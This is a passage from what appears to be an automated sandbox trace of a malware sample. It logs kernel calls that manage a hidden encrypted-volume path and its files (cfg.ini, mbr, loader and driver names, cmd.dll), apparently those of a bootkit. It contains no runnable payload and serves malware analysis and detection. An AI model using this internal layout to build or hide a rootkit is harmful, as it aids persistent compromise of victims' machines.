0xfffffa8003aa6e20 [0126.091] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.091] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.091] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.091] IdePortDispatch () returned 0x103 [0126.091] KeWaitForMutexObject () returned 0x0 [0126.091] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.091] KeLeaveCriticalRegion () [0126.091] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.091] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.091] KeEnterCriticalRegion () [0126.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.091] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003482000 [0126.091] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.091] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.091] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.091] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.091] IdePortDispatch () returned 0x103 [0126.092] KeWaitForMutexObject () returned 0x0 [0126.092] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.092] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.092] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.092] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.092] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.092] IdePortDispatch () returned 0x103 [0126.092] KeWaitForMutexObject () returned 0x0 [0126.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.092] KeLeaveCriticalRegion () [0126.092] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.092] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.092] KeEnterCriticalRegion () [0126.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.092] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.092] KeLeaveCriticalRegion () [0126.093] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.093] KeEnterCriticalRegion () [0126.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.093] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.093] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.093] KeLeaveCriticalRegion () [0126.093] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.093] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.093] KeEnterCriticalRegion () [0126.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.093] ExFreePoolWithTag (P=0xfffffa8008a69640, Tag=0x0) [0126.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.093] KeLeaveCriticalRegion () [0126.093] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.093] ReleaseMutex (hMutex=0xf0) returned 1 [0126.093] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.093] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.093] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.093] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.093] KeEnterCriticalRegion () [0126.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.093] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.093] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.093] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.093] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.093] IdePortDispatch () returned 0x103 [0126.093] KeWaitForMutexObject () returned 0x0 [0126.093] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.093] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.093] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.093] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.093] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.093] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.093] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.093] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.093] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.093] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.094] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.094] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.094] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.094] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.094] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.094] KeLeaveCriticalRegion () [0126.094] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.094] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.094] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.094] KeEnterCriticalRegion () [0126.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.094] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.094] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.094] IdePortDispatch () returned 0x103 [0126.094] KeWaitForMutexObject () returned 0x0 [0126.094] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.094] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.094] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.094] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.094] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.094] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.094] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.094] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.094] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.094] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.094] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.094] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.094] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.094] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.094] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.094] KeLeaveCriticalRegion () [0126.094] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.094] ReleaseMutex (hMutex=0x100) returned 1 [0126.094] Sleep (dwMilliseconds=0x2bf20) [0126.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e5aa1f0, dwHighDateTime=0x1d24fa4)) [0126.101] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.101] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.101] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.101] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.101] KeEnterCriticalRegion () [0126.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.101] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.101] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.101] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.101] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.101] IdePortDispatch () returned 0x103 [0126.101] KeWaitForMutexObject () returned 0x0 [0126.101] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.101] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.101] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.101] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.101] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.101] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac96a0 [0126.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.101] KeLeaveCriticalRegion () [0126.101] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.101] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.101] KeEnterCriticalRegion () [0126.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.102] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.102] KeLeaveCriticalRegion () [0126.102] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.102] KeEnterCriticalRegion () [0126.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.102] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.102] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.102] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.102] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.102] IdePortDispatch () returned 0x103 [0126.102] KeWaitForMutexObject () returned 0x0 [0126.102] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.102] KeLeaveCriticalRegion () [0126.102] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.102] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.102] KeEnterCriticalRegion () [0126.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.102] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a6000 [0126.102] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.102] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.102] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.102] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.102] IdePortDispatch () returned 0x103 [0126.102] KeWaitForMutexObject () returned 0x0 [0126.102] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.102] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.102] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.102] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.103] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.103] IdePortDispatch () returned 0x103 [0126.103] KeWaitForMutexObject () returned 0x0 [0126.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.103] KeLeaveCriticalRegion () [0126.103] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.103] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.103] KeEnterCriticalRegion () [0126.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.103] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.103] KeLeaveCriticalRegion () [0126.103] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.103] KeEnterCriticalRegion () [0126.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.103] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.103] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.103] KeLeaveCriticalRegion () [0126.103] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.103] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.104] KeEnterCriticalRegion () [0126.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.104] ExFreePoolWithTag (P=0xfffffa8003ac96a0, Tag=0x0) [0126.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.104] KeLeaveCriticalRegion () [0126.104] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.104] ReleaseMutex (hMutex=0xf0) returned 1 [0126.104] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.104] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.104] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.104] KeEnterCriticalRegion () [0126.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.104] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.104] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.104] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.104] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.104] IdePortDispatch () returned 0x103 [0126.104] KeWaitForMutexObject () returned 0x0 [0126.104] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.104] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.104] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.104] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.104] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.104] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037d9d30 [0126.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.104] KeLeaveCriticalRegion () [0126.104] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.104] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.104] KeEnterCriticalRegion () [0126.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.104] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.104] KeLeaveCriticalRegion () [0126.104] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.104] KeEnterCriticalRegion () [0126.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.104] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.105] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.105] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.105] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.105] IdePortDispatch () returned 0x103 [0126.105] KeWaitForMutexObject () returned 0x0 [0126.105] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.105] KeLeaveCriticalRegion () [0126.105] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.105] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.105] KeEnterCriticalRegion () [0126.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.105] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a7000 [0126.105] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.105] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.105] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.105] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.105] IdePortDispatch () returned 0x103 [0126.105] KeWaitForMutexObject () returned 0x0 [0126.105] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.105] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.105] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.105] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.105] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.105] IdePortDispatch () returned 0x103 [0126.105] KeWaitForMutexObject () returned 0x0 [0126.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.106] KeLeaveCriticalRegion () [0126.106] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.106] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.106] KeEnterCriticalRegion () [0126.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.106] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.106] KeLeaveCriticalRegion () [0126.106] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.106] KeEnterCriticalRegion () [0126.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.106] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.106] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.106] KeLeaveCriticalRegion () [0126.106] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.106] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.106] KeEnterCriticalRegion () [0126.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.106] ExFreePoolWithTag (P=0xfffffa80037d9d30, Tag=0x0) [0126.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 